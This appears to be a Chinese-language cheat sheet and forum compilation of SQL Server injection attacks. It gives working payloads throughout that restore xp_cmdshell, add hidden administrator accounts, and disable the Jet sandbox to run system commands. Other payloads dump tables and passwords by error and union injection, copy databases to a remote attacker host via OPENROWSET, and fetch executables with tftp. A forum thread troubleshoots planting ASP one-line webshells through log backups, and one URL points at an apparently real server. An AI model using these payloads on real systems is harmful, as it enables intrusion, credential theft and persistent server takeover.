创建新的 Microsoft? SQL Server? 登录//只有 sysadmin 和 securityadmin 固定服务器角色的成员才可以执行 sp_addlogin。
补丁版本
其中的8.00.760就是SQL Server的版本和补丁号。对应关系如下:
8.00.194 -——————SQL Server 2000 RTM
8.00.384 -——————(SP1)
8.00.534 -——————(SP2)
8.00.760 -——————(SP3)
在db权限并且分离获取mssql数据库服务器ip的方法
1.本地nc监听 nc -vvlp 80
2.;insert into OPENROWSET(\'SQLOLEDB\',\'uid=sa;pwd=xxx;Network=DBMSSOCN;Address=你的ip,80;\', \'select * from dest_table\') select * from src_table;--
其他的都不用管
xp_cmdshell的删除及恢复
恢复xp_cmdshell的方法
删除扩展存储过过程xp_cmdshell的语句
exec sp_dropextendedproc ’xp_cmdshell’
恢复cmdshell的sql语句
exec sp_addextendedproc xp_cmdshell ,@dllname =’xplog70.dll’
exec master.dbo.addextendedproc ’xp_cmdshell’,’xplog70.dll’;select count(*) from master.dbo.sysobjects where xtype=’x’ and
返回结果为1就ok
否则需上传c:\inetput\web\xplog70.dll后
exec master.dbo.sp_addextendedproc ’xp_cmdshell’,’c:\inetput\web\xplog70.dll’;--
如果是用以下方法删除
drop procedure sp_addextendedproc
drop procedure sp_oacreate
exec sp_dropextendedproc ’xp_cmdshell’
则可以用以下语句恢复
dbcc addextendedproc ("sp_oacreate","odsole70.dll")
dbcc addextendedproc ("xp_cmdshell","xplog70.dll")
这样可以直接恢复,不用去管sp_addextendedproc是不是存在
去掉tenlnet的ntlm认证
;exec master.dbo.xp_cmdshell \'tlntadmn config sec = -ntlm\'—
public权限列目录
提起public权限的用户估计很多人也觉得郁闷了吧~N久以前看了一篇《论在mssql中public和db_owner权限下拿到webshell或是系统权限》的文章(名字真长-_-!!!),里面说到没办法利用xp_regread,xp_dirtree…这些存储过程,原因是public没有办法建表,我在这里矫正一下其实public是可以建表的~呵呵,使这些存储过程能利用上,看下面的代码吧
--建立一个临时表,一般的表我们是无办法建立的,我们只能建立临时表
create table ##nonamed(
dir ntext,
num int
)
--调用存储过程把执行回来的数据存到临时表里面
insert ##nonamed execute master..xp_dirtree \'c:\\',1
--然后采用openrowset函数把临时表的数据导到本地MSSQL 的dirtree表里面了
insert into openrowset(\'sqloledb\', \'192.0.0.1\';\'user\';\'pass\', \'select * from Northwind.dbo.dirtree\')
select * from ##nonamed
以上方法,也就是说public可以遍历用户服务器的目录
MSSQL自身存储过程的一个注入
master..sp_resolve_logins存储过程中,对@dest_path参数过滤不严,导致xp_cmdshell注入。
分析:
SELECT @dest_path = RTRIM(LTRIM(@dest_path))
-- If the last char is \'\\', remove it.
IF substring(@dest_path, len(@dest_path),1) = \'\\'
SELECT @dest_path = substring(@dest_path, 1, len(@dest_path)-1)
-- Don\'t do validation if it is a UNC path due to security problem.
-- If the server is started as a service using local system account, we
-- don\'t have access to the UNC path.
IF substring(@dest_path, 1,2) <> \'\\\'
BEGIN
SELECT @command = \'dir "\' + @dest_path + \'"\'
exec @retcode = master..xp_cmdshell @command, \'no_output\'
IF @@error <> 0
RETURN (1)
IF @retcode <> 0
BEGIN
raiserror (14430, 16, -1, @dest_path)
RETURN (1)
END
END
master..sp_resolve_logins存储过程 在这一段,经过一定的判断,对 @dest_path 进行了一定的过滤。
但是没有过滤"(双引号)导致了 xp_cmdshell执行任意SQL语句
测试代码:
EXEC sp_resolve_logins \'text\', \'e:\asp\"&net user admina admin /add&net localgroup administrators admina /add&dir "e:\asp\', \'1.asp\'
执行上述MSSQL语句,成功添加了一个名为admina的系统帐号
但是此存储过程代码中经过判断,需要系统systemadmin权限的帐号
Re:沙盒
通常一台MSSQL服务器同时支持Access数据库,所以只要有一个sa或者dbowner的连接(至少对master库具有db_owner权限,默认情况下是没有的),就满足了修改注册表的条件,因为MSSQL有一个名为xp_regwrite的扩展,它的作用是修改注册表的值.语法如下
exec maseter.dbo.xp_regwrite Root_Key,SubKey,Value_Type,Value
如果存在一个sa或者dbowner的连接的SQL注入点,就可以构造出如下注入语句InjectionURL;EXEC master.dbo.xp_regwrite \'HKEY_LOCAL_MACHINE\',\'SoftWare\Microsoft\Jet\4.0\Engine\',\'SandBoxMode\',\'REG_DWORD\',\'0\'--那我们将SandBoxMode开关的注册表值修改为0就成功了.接着连接到一个Access数 据库中,就可以执行系统命令,当然执行系统命令我们只需要一个Access数据库相关Select的注入点或者直接用ASP文件Select调用这个 VBA的shell()函数,但是实际上MSSQL有一个的OpenRowSet函数,它的作用是打开一个特殊的数据库或者连接到另一个数据库之中.当我 们有一个SA权限连接的时候,就可以做到打开Jet引擎连接到一个Access数据库,同时我们搜索系统文件会发现windows系统目录下本身就存在两 个Access数据库,位置在%windir%\system32\ias\ias.mdb或者%windir%\system32\ias\ dnary.mdb,这样一来我们又可以利用OpenRowSet函数构造出如下注入语句:InjectionURL\';Select * From OpenRowSet(\'Microsoft.Jet.OLEDB.4.0\',\';Database=c:\winnt\system32\ias\ias.mdb\',\'select shell("net user ray 123 /ad")\');--
如果你觉得不大好懂的话,我可以给你做一个简化的理解:1,Access可以调用VBS的函数,以System权限执行任意命令2,Access执行这个命令是有条件的,需要一个开关被打开3,这个开关在注册表里4,SA是有权限写注册表的5,用SA写注册表的权限打开那个开关6,调用Access里的执行命令方法,以system权限执行任意命令执行SQL命令,执行了以下命令:EXEC master.dbo.xp_regwrite \'HKEY_LOCAL_MACHINE\',\'SoftWare\Microsoft\Jet\4.0\Engine\',\'SandBoxMode\',\'REG_DWORD\',\'0\'Select * From OpenRowSet(\'Microsoft.Jet.OLEDB.4.0\',\';Database=c:\windows\system32\ias\ias.mdb\',\'select shell("net user zyqq 123 /add")\');Select * From OpenRowSet(\'Microsoft.Jet.OLEDB.4.0\',\';Database=c:\windows\system32\ias\ias.mdb\',\'select shell("net localgroup administrators
\'group by users.id having 1=1--
\'group by users.id, users.username, users.password, users.privs having 1=1--
\'; insert into users values( 666, \'attacker\', \'foobar\', 0xffff )--
UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=\'logintable\'-
UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=\'logintable\' WHERE COLUMN_NAME NOT IN (\'login_id\')-
UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=\'logintable\' WHERE COLUMN_NAME NOT IN (\'login_id\',\'login_name\')-
UNION SELECT TOP 1 login_name FROM logintable-
UNION SELECT TOP 1 password FROM logintable where login_name=\'Rahul\'--
看服务器打的补丁=出错了打了SP4补丁
and 1=(select @@VERSION)--
看数据库连接账号的权限,返回正常,证明是服务器角色sysadmin权限。
and 1=(SELECT IS_SRVROLEMEMBER(\'sysadmin\'))--
判断连接数据库帐号。(采用SA账号连接 返回正常=证明了连接账号是SA)
and \'sa\'=(SELECT System_user)--
and user_name()=\'dbo\'--
and 0<>(select user_name()--
看xp_cmdshell是否删除
and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = \'X\' AND name = \'xp_cmdshell\')--
xp_cmdshell被删除,恢复,支持绝对路径的恢复
;EXEC master.dbo.sp_addextendedproc \'xp_cmdshell\',\'xplog70.dll\'--
;EXEC master.dbo.sp_addextendedproc \'xp_cmdshell\',\'c:\inetpub\wwwroot\xplog70.dll\'--
反向PING自己实验
;use master;declare @s int;exec sp_oacreate "wscript.shell",@s out;exec sp_oamethod @s,"run",NULL,"cmd.exe /c ping 192.168.0.1";--
加帐号
;DECLARE @shell INT EXEC SP_OACREATE \'wscript.shell\',@shell OUTPUT EXEC SP_OAMETHOD @shell,\'run\',null, \'C:\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add\'--
创建一个虚拟目录E盘:
;declare @o int exec sp_oacreate \'wscript.shell\', @o out exec sp_oamethod @o, \'run\', NULL,\' cscript.exe c:\inetpub\wwwroot\mkwebdir.vbs -w "默认Web站点" -v "e","e:\"\'--
访问属性:(配合写入一个webshell)
declare @o int exec sp_oacreate \'wscript.shell\', @o out exec sp_oamethod @o, \'run\', NULL,\' cscript.exe c:\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse\'
爆库 特殊技巧::%5c=\'\\' 或者把/和\ 修改%5提交
and 0<>(select top 1 paths from newtable)--
得到库名(从1到5都是系统的id,6以上才可以判断)
and 1=(select name from master.dbo.sysdatabases where dbid=7)--
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)
依次提交 dbid = 7,8,9.... 得到更多的数据库名
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=\'U\') 暴到一个表 假设为 admin
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=\'U\' and name not in (\'Admin\')) 来得到其他的表。
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=\'U\' and name=\'admin\'
and uid>(str(id))) 暴到UID的数值假设为18779569 uid=id
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569) 得到一个admin的一个字段,假设为 user_id
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569 and name not in
(\'id\',...)) 来暴出其他的字段
and 0<(select user_id from BBS.dbo.admin where username>1) 可以得到用户名
依次可以得到密码。。。。。假设存在user_id username ,password 等字段
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=\'U\') 得到表名
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=\'U\' and name not in(\'Address\'))
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=\'U\' and name=\'admin\' and uid>(str(id))) 判断id值
and 0<>(select top 1 name from BBS.dbo.syscolumns where id=773577794) 所有字段
?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin
?id=-1 union select 1,2,3,4,5,6,7,8,*,9,10,11,12,13 from admin (union,access也好用)
得到WEB路径
;create table [dbo].[swap] ([swappass][char](255));--
and (select top 1 swappass from swap)=1--
;CREATE TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare @test varchar(20) exec master..xp_regread @rootkey=\'HKEY_LOCAL_MACHINE\', @key=\'SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\\', @value_name=\'/\', values=@test OUTPUT insert into paths(path) values(@test)--
;use ku1;--
;create table cmd (str image);-- 建立image类型的表cmd
存在xp_cmdshell的测试过程:
;exec master..xp_cmdshell \'dir\'
;exec master.dbo.sp_addlogin jiaoniang$;-- 加SQL帐号
;exec master.dbo.sp_password null,jiaoniang$,1866574;--
;exec master.dbo.sp_addsrvrolemember jiaoniang$ sysadmin;--
;exec master.dbo.xp_cmdshell \'net user jiaoniang$ 1866574 /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add\';--
;exec master.dbo.xp_cmdshell \'net localgroup administrators jiaoniang$ /add\';--
exec master..xp_servicecontrol \'start\', \'schedule\' 启动服务
exec master..xp_servicecontrol \'start\', \'server\'
; DECLARE @shell INT EXEC SP_OACREATE \'wscript.shell\',@shell OUTPUT EXEC SP_OAMETHOD @shell,\'run\',null, \'C:\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add\'
;DECLARE @shell INT EXEC SP_OACREATE \'wscript.shell\',@shell OUTPUT EXEC SP_OAMETHOD @shell,\'run\',null, \'C:\WINNT\system32\cmd.exe /c net localgroup administrators jiaoniang$ /add\'
\'; exec master..xp_cmdshell \'tftp -i youip get file.exe\'-- 利用TFTP上传文件
;declare @a sysname set @a=\'xp_\'+\'cmdshell\' exec @a \'dir c:\\'
;declare @a sysname set @a=\'xp\'+\'_cm’+’dshell\' exec @a \'dir c:\\'
;declare @a;set @a=db_name();backup database @a to disk=\'你的IP你的共享目录bak.dat\'
如果被限制则可以。
select * from openrowset(\'sqloledb\',\'server\';\'sa\';\'\',\'select \'\'OK!\'\' exec master.dbo.sp_addlogin hax\')
查询构造:
SELECT * FROM news WHERE id=... AND topic=... AND .....
admin\'and 1=(select count(*) from [user] where username=\'victim\' and right(left(userpass,01),1)=\'1\') and userpass <>\'
select 123;--
;use master;--
:a\' or name like \'fff%\';-- 显示有一个叫ffff的用户哈。
and 1<>(select count(email) from [user]);--
;update [users] set email=(select top 1 name from sysobjects where xtype=\'u\' and status>0) where name=\'ffff\';--
;update [users] set email=(select top 1 id from sysobjects where xtype=\'u\' and name=\'ad\') where name=\'ffff\';--
\';update [users] set email=(select top 1 name from sysobjects where xtype=\'u\' and id>581577110) where name=\'ffff\';--
\';update [users] set email=(select top 1 count(id) from password) where name=\'ffff\';--
\';update [users] set email=(select top 1 pwd from password where id=2) where name=\'ffff\';--
\';update [users] set email=(select top 1 name from password where id=2) where name=\'ffff\';--
上面的语句是得到数据库中的第一个用户表,并把表名放在ffff用户的邮箱字段中。
通过查看ffff的用户资料可得第一个用表叫ad
然后根据表名ad得到这个表的ID 得到第二个表的名字
insert into users values( 666, char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), 0xffff)--
insert into users values( 667,123,123,0xffff)--
insert into users values ( 123, \'admin\'\'--\', \'password\', 0xffff)--
;and user>0
;and (select count(*) from sysobjects)>0
;and (select count(*) from mysysobjects)>0 //为access数据库
枚举出数据表名
;update aaa set aaa=(select top 1 name from sysobjects where xtype=\'u\' and status>0);--
这是将第一个表名更新到aaa的字段处。
读出第一个表,第二个表可以这样读出来(在条件后加上 and name<>\'刚才得到的表名\')。
;update aaa set aaa=(select top 1 name from sysobjects where xtype=\'u\' and status>0 and name<>\'vote\');--
然后id=1552 and exists(select * from aaa where aaa>5)
读出第二个表,一个个的读出,直到没有为止。
读字段是这样:
;update aaa set aaa=(select top 1 col_name(object_id(\'表名\'),1));--
然后id=152 and exists(select * from aaa where aaa>5)出错,得到字段名
;update aaa set aaa=(select top 1 col_name(object_id(\'表名\'),2));--
然后id=152 and exists(select * from aaa where aaa>5)出错,得到字段名
[获得数据表名][将字段值更新为表名,再想法读出这个字段的值就可得到表名]
update 表名 set 字段=(select top 1 name from sysobjects where xtype=u and status>0 [ and name<>\'你得到的表名\' 查出一个加一个]) [ where 条件] select top 1 name from sysobjects where xtype=u and status>0 and name not in(\'table1\',\'table2\',…)
通过SQLSERVER注入漏洞建数据库管理员帐号和系统管理员帐号[当前帐号必须是SYSADMIN组]
[获得数据表字段名][将字段值更新为字段名,再想法读出这个字段的值就可得到字段名]
update 表名 set 字段=(select top 1 col_name(object_id(\'要查询的数据表名\'),字段列如:1) [ where 条件]
绕过IDS的检测[使用变量]
;declare @a sysname set @a=\'xp_\'+\'cmdshell\' exec @a \'dir c:\\'
;declare @a sysname set @a=\'xp\'+\'_cm’+’dshell\' exec @a \'dir c:\\'
1、 开启远程数据库
基本语法
select * from OPENROWSET(\'SQLOLEDB\', \'server=servername;uid=sa;pwd=123\', \'select * from table1\' )
参数: (1) OLEDB Provider name
2、 其中连接字符串参数可以是任何端口用来连接,比如
select * from OPENROWSET(\'SQLOLEDB\', \'uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;\', \'select * from table\'
3.复制目标主机的整个数据库insert所有远程表到本地表。
基本语法:
insert into OPENROWSET(\'SQLOLEDB\', \'server=servername;uid=sa;pwd=123\', \'select * from table1\') select * from table2
这行语句将目标主机上table2表中的所有数据复制到远程数据库中的table1表中。实际运用中适当修改连接字符串的IP地址和端口,指向需要的地方,比如:
insert into OPENROWSET(\'SQLOLEDB\',\'uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;\',\'select * from table1\') select * from table2
insert into OPENROWSET(\'SQLOLEDB\',\'uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;\',\'select * from _sysdatabases\')
sele
Re:log备份的总结
当SQL注入是得到DB权限时候,接下来可以做的工作很多,象找管理员密码,后台管理这些都可以帮助你拿到WEBSHELL,但是这篇文章讲的是log备份,LOG备份出来的小马的体积小,而且备份的成功的可性很大,所以是我作为对DB权限的第一种试探方法.
但是在LOG备份中,我们经常会遇到一些很让我们头痛的问题,那就是闭合的问题,我在这里做个总结,也
好让我们对不能闭合的方法有一个全面的了解.
1.先介绍下LOG备份,这个相信大家都很熟悉了,我还是习惯在IE里直接提交,返回正常的页面就说这一步的操作就成功了,如果没有返回正常的页面,我们就可以根据IE返回的错误来找他的原因.(这里说下要将IE的错误提示给打开),LOG的格式如下所示:
http://www.site.com/xx.asp?id=xxx;alter database databasename set RECOVERY FULL
http://www.site.com/xx.asp?id=xxx;create table cmd (a image)--
http://www.site.com/xx.asp?id=xxx;backup log databasename to disk = \'c:\cmd\' with init
http://www.site.com/xx.asp?id=xxx;insert into cmd (a) values (\'<%%25Execute(request("go"))%
%25>\')--
http://www.site.com/xx.asp?id=xxx;backup log databasename to disk = \'x:\xxx\xxx\asp1.asp\'--
http://www.site.com/xx.asp?id=xxx;drop table cmd--
分为6步操作,最容易出错的就是第4步的操作,经常返回没有闭合的问题,下面就是一些我们可以将
values中的内容可以进行更换的方式,当我们的一种方式不行的话,就可以换另一种方式,当所有的方式
都换完了,没有什么好说的,要么就放弃,要么就换另一种方式继续,想列目录找数据库下载,后台.这
里就不多说了,可以提换的内容有:
a).<%%25Execute(request("go"))%%25>
b).<%Execute(request("go"))%>
c).%><%execute request("go")%><%
d).<script language=VBScript runat=server>execute request("sb")</Script>
e).<%25Execute(request("l"))%25>
2.LOG备份要注意的一些问题:
a).要注意你现在的机器是不是WEB主机,简单的方法就是翻他的目录,看有没有IIS安装的文件
b).当你确定你要找的确实是WEN主机时,就可以找他的站点目录了,这个也很重要,是步骤5的操作,如果备份到一个错误的目录,当然就没有办法访问了
c).备份成功后,你就可以试着用客户端去连接,这个地方也有人弄错,现在用的字段是go,你的客户端的
相关字段也为go
d).用ececute正常备份出来的是用错误提示的,当你的显示500错误时,请你将的IE错误提示打开,当显示
Microsoft VBScript 运行时错误 错误 \'800a000d\'
类型不匹配: \'execute\'
时候表示你已经成功了,连接吧!!
e).还有极端的时候你备份出来的一句话被杀(当你确定你确实是备份在WEB主机的对应目录是),你可以将
上面的VALUES字段中的值做几个大小写转换,一般是没有问题的..
------------------------------------------------------------------------
今天测试log备份获取WEBSEHLL遇到点问题,首先说下我自己理解通过log备份和差异备份的区别(不对和不完善的请大家指出与补充)。LOG备份得到的WEBSHELL文件小,大大增加了成功率。避免了数据库里有特殊字符备份不成功的情况。今天在测试是没成功,备份出来没有一句话马,功能失去了,也就没有任何意义了。提交上来讨论下错误之处。
由于是议题讨论。用了真实地址,请勿破坏!
以下是我的语句:
引用内容
;alter database dweb set RECOVERY FULL--
;create table cmd (a image)--
;backup log dweb to disk = ‘c:\Sammy‘ with init--
;insert into cmd (a) values (‘0x3C256576616C20726571756573742822732229253E‘)--
;backup log dweb to disk = ‘d:\chen\s2.asp‘--
备份结果
http://www.site.com/s2.asp
十六进制形式备份出来了!
我再用如下语句! 引用内容
;Drop table [cmd]--
;alter database dweb set RECOVERY FULL--
;create table cmd (a image)--
;backup log dweb to disk = ‘c:\Sammy‘ with init--
;insert into cmd (a) values (‘<%eval request("s")%>‘)--
;backup log dweb to disk = ‘d:\chen\sssjjk.asp‘--
如果又如下
http://www.site.com/sssjjk.asp
是何原因使LOG备份不成功呢?
是因为数据表没有写到你备份的数据库当中,导致备份的ASP文件中没有写入我们希望的一句话木马,请在和数据表操作相关的语句中加入数据库名,如:create table dweb.dbo.[cmd] (a image)--,然后再执行备份语句就可以成功了
呵呵,你把马改成"<%%25Execute(request("s"))%%25>" 来试试..
注意,是加个.%25
问题已解决,把语句换成!
;insert into cmd (a) values (‘<%%25eval request("s")%%25>‘)--
确实能成功!谢谢!
;insert into cmd (a) values (‘0x3C256576616C20726571756573742822732229253E‘)--
楼主的这句是写 字符串 “0x3C256576616C20726571756573742822732229253E”到文件里 而不是木马
把单引号去掉就可以了
insert into cmd (a) values (0x3C256576616C20726571756573742822732229253E)--
…………………………………………………………………………………………………………
Blog被人渗透了一下,不知道各位掉了什么东西没有。原来有一次blog的目录可以列出来,那次我掉了一个小东西,然后今天别人告诉我NBSI 3用了那个东西的方法……呵呵,有点晕,就是下面的,成功率还是很高的,大家可以试试看。嗯,方法流出去无所谓,文章留着吧。
dbowner通过注射得到一个shell应该不是什么难事情了,比较麻烦的是就算利用增量备份,仍然有很多不确定的因素,如果之前别人有过什么错误的写入信息,可能备份出来得到的还是一些不能用的500错误,如何能够提高成功率及重用性呢?如果单从调整增量备份的方式来看,尽管能够达到一些效果,但是方法比较复杂而且效果不明显。加上关于重用性的考虑,例如多次备份的成功率,backup database的方法并不太适用。这里将要讲述的是另外一个备份的方法,导出日志文件到web目录来获得shell。
饭要一口一口的吃,技术问题也要一个一个的解决,得到webshell首先要知道物理路径,然后才能说其他的。关于物理路径的暴露有很多方法,注入也可以得到,这点nbsi2已经做到了,就不再多说。值得注意的是,如果数据库和web分离,这样肯定得不到webshell,备份出来的东西可以覆盖任何文件,一些关于开始菜单的想法还是有效的,只要注意扩展名就好。扯远了,反正如果数据库和web在一块的,你就有机会,反之还是想其他的办法吧。
然后你要得到当前的权限和数据库名。如果是sysadmin当然没有必要做很复杂的事情,dbowner足矣,public则不行。当前打开的库名用一个db_name()就可以得到,同样很简单。
默认的情况是,一般选择的数据库故障还原类型都是简单,这时候不能够对日志文件进行备份。然而我们都是dbowner了,还有什么不能做的呢,只要修改一下属性就可以。由于不能去企业管理器中修改,只有用一段SQL语句,很简单的,这样就可以:
alter database XXXX set RECOVERY FULL
其中XXXX是你得到的数据库的名字,执行过后就可以备份日志了。这种修改是破坏性的,因为你不知道以前的故障还原模式是什么,细心的管理员看到异样,可能就要开始起疑心。如果之前你能得到数据库的状态,最好还是在备份完以后把这个数据库的属性改回来。
剩下的事情就是怎样让数据库用最原始的方式记录下你的数据了。这一点和backup database中设定表名为image的问题相对应,如果你只是建立一个之类的表,日志里面的记录还是以松散的格式记录的,也就是< % % >,没有任何效果。通过实际的测试,发现还是可以通过与backup database类似的方式记录进去,如下:
create table cmd (a image)
insert into cmd (a) values (’’)
backup log XXXX to disk = ’c:\xxx\2.asp’
这样你已经得到一个webshell了。
到这里就完了么?没有,呵呵,我们继续。
到这里有两个分支方向,第一个,让注入的时候不出现单引号,太简单了,我都懒得写;第二个,减小这个webshell的长度以及提高成功率。下面的方法就是讨论第二个分支问题的,同样适用于backup database的减小。
首先是初始化这个日志。
backup log XXXX to disk = ’c:\caonima’ with init
这样有点类似于增量备份的第一步,不过有点不同的是,你做了这个以后,你备份出来的可用的shell是固定的。这一点比较重要,因为有了这一步,不管管理员在数据库里面做了什么扰乱你back database的手脚,或者你之前有多少混蛋(你肯定会这么想的)弄了些你不喜欢的东西,都没有关系,甚至你做过以后,别人在后面再按照你的方法来一次,还是会成功,这对于偶尔出现的反复,比如对方机器重装但是数据库和代码没变,有不小的帮助。
然后是调整一下backup中各个语句的顺序。通过第一点,大概的步骤已经确定下来了,那就是:
引用内容
alter database XXXX set RECOVERY FULL
backup log XXXX to disk = ’c:\Sammy’ with init
create table cmd (a image)
insert into cmd (a) values (’’)
backup log XXXX to disk = ’c:\xxx\2.asp’
这样不好,感觉上多了一条没用的东西。
create table cmd (a image)
确实有点讨厌,不过这句是必要的,只好调整一下位置,弄到其他地方去。调换一下顺序似乎还可以小一点,对于backup database中的增量情况同样是可以的,backup database甚至可以仅仅在update后马上备份,不过由于涉及到了数据的存储格式,情况很复杂,这里不讨论。调整后的是:
引用内容
alter database XXXX set RECOVERY FULL
create table cmd (a image)
backup log XXXX to disk = ’c:\Sammy’ with init
insert into cmd (a) values (’’)
backup log XXXX to disk = ’c:\xxx\2.asp’
成功的话,备份出来的shell(上面的2.asp)有78.5k,文件长度固定的是80,384字节。很挑剔的朋友也可以接受了吧,当然用这个来生成一个干净的木马也可以——这本来就是顶端cs木马的s端,很通用的。
显示所有固定数据库角色的权限。
EXEC sp_dbfixedrolepermission
Sql注射总结(早源于\'or\'1\'=\'1)
最重要的表名:
select * from sysobjects
sysobjects ncsysobjects
sysindexes tsysindexes
syscolumns
systypes
sysusers
sysdatabases
sysxlogins
sysprocesses
最重要的一些用户名(默认sql数据库中存在着的)
public
dbo
guest(一般禁止,或者没权限)
db_sercurityadmin
ab_dlladmin
一些默认扩展
xp_regaddmultistring
xp_regdeletekey
xp_regdeletevalue
xp_regenumkeys
xp_regenumvalues
xp_regread
xp_regremovemultistring
xp_regwrite
xp_availablemedia 驱动器相关
xp_dirtree 目录
xp_enumdsn ODBC连接
xp_loginconfig 服务器安全模式信息
xp_makecab 创建压缩卷
xp_ntsec_enumdomains domain信息
xp_terminate_process 终端进程,给出一个PID
例如:
sp_addextendedproc \'xp_webserver\', \'c:/temp/xp_foo.dll\'
exec xp_webserver
sp_dropextendedproc \'xp_webserver\'
bcp "select * FROM test..foo" queryout c:/inetpub/wwwroot/runcommand.asp -c -Slocalhost -Usa -Pfoobar
\' group by users.id having 1=1-
\' group by users.id, users.username, users.password, users.privs having 1=1-
\'; insert into users values( 666, \'attacker\', \'foobar\', 0xffff )-
union select TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS where TABLE_NAME=\'logintable\'-
union select TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS where TABLE_NAME=\'logintable\' where COLUMN_NAME NOT IN (\'login_id\')-
union select TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS where TABLE_NAME=\'logintable\' where COLUMN_NAME NOT IN (\'login_id\',\'login_name\')-
union select TOP 1 login_name FROM logintable-
union select TOP 1 password FROM logintable where login_name=\'Rahul\'--
构造语句:查询是否存在xp_cmdshell
\' union select @@version,1,1,1--
and 1=(select @@VERSION)
and \'sa\'=(select System_user)
\' union select ret,1,1,1 from foo--
\' union select min(username),1,1,1 from users where username > \'a\'-
\' union select min(username),1,1,1 from users where username > \'admin\'-
\' union select password,1,1,1 from users where username = \'admin\'--
and user_name()=\'dbo\'
and 0<>(select user_name()-
; DECLARE @shell INT EXEC SP_OAcreate \'wscript.shell\',@shell OUTPUT EXEC SP_OAMETHOD @shell,\'run\',null, \'C:/WINNT/system32/cmd.exe /c net user swap 5245886 /add\'
and 1=(select count(*) FROM master.dbo.sysobjects where xtype = \'X\' AND name = \'xp_cmdshell\')
;EXEC master.dbo.sp_addextendedproc \'xp_cmdshell\', \'xplog70.dll\'
1=(%20select%20count(*)%20from%20master.dbo.sysobjects%20where%20xtype=\'x\'%20and%20name=\'xp_cmdshell\')
and 1=(select IS_SRVROLEMEMBER(\'sysadmin\')) 判断sa权限是否
and 0<>(select top 1 paths from newtable)-- 暴库大法
and 1=(select name from master.dbo.sysdatabases where dbid=7) 得到库名(从1到5都是系统的id,6以上才可以判断)
创建一个虚拟目录E盘:
declare @o int exec sp_oacreate \'wscript.shell\', @o out exec sp_oamethod @o, \'run\', NULL,\' cscript.exe c:/inetpub/wwwroot/mkwebdir.vbs -w "默认 Web 站点" -v "e","e:/"\'
访问属性:(配合写入一个webshell)
declare @o int exec sp_oacreate \'wscript.shell\', @o out exec sp_oamethod @o, \'run\', NULL,\' cscript.exe c:/inetpub/wwwroot/chaccess.vbs -a w3svc/1/ROOT/e +browse\'
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)
依次提交 dbid = 7,8,9.... 得到更多的数据库名
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=\'U\') 暴到一个表 假设为 admin
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=\'U\' and name not in (\'Admin\')) 来得到其他的表。
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=\'U\' and name=\'admin\'and uid>(str(id))) 暴到UID的数值假设为18779569 uid=id
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569) 得到一个admin的一个字段,假设为 user_id
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569 and name not in(\'id\',...)) 来暴出其他的字段
and 0<(select user_id from BBS.dbo.admin where username>1) 可以得到用户名
依次可以得到密码。。。。。假设存在user_id username ,password 等字段
Show.asp?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin
Show.asp?id=-1 union select 1,2,3,4,5,6,7,8,*,9,10,11,12,13 from admin
(union语句到处风靡啊,access也好用
暴库特殊技巧::%5c=\'/\' 或者把/和/ 修改%5提交
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=\'U\') 得到表名
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=\'U\' and name not in(\'Address\'))
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=\'U\' and name=\'admin\' and uid>(str(id))) 判断id值
and 0<>(select top 1 name from BBS.dbo.syscolumns where id=773577794) 所有字段
http://xx.xx.xx.xx/111.asp?id=3400;create table [dbo].[swap] ([swappass][char](255));--
http://xx.xx.xx.xx/111.asp?id=3400 and (select top 1 swappass from swap)=1
;create TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare @test varchar(20) exec master..xp_regread @rootkey=\'HKEY_LOCAL_MACHINE\', @key=\'SYSTEM/CurrentControlSet/Services/W3SVC/Parameters/Virtual Roots/\', @value_name=\'/\', values=@test OUTPUT insert into paths(path) values(@test)
http://61.131.96.39/PageShow.asp?TianName=政策法规&InfoID={57C4165A-4206-4C0D-A8D2-E70666EE4E08};use%20master;declare%20@s%20%20int;exec%20sp_oacreate%20"wscript.shell",@s%20out;exec%20sp_oamethod%20@s,"run",NULL,"cmd.exe%20/c%20ping%201.1.1.1";--
得到了web路径d:/xxxx,接下来:
http://xx.xx.xx.xx/111.asp?id=3400;use ku1;--
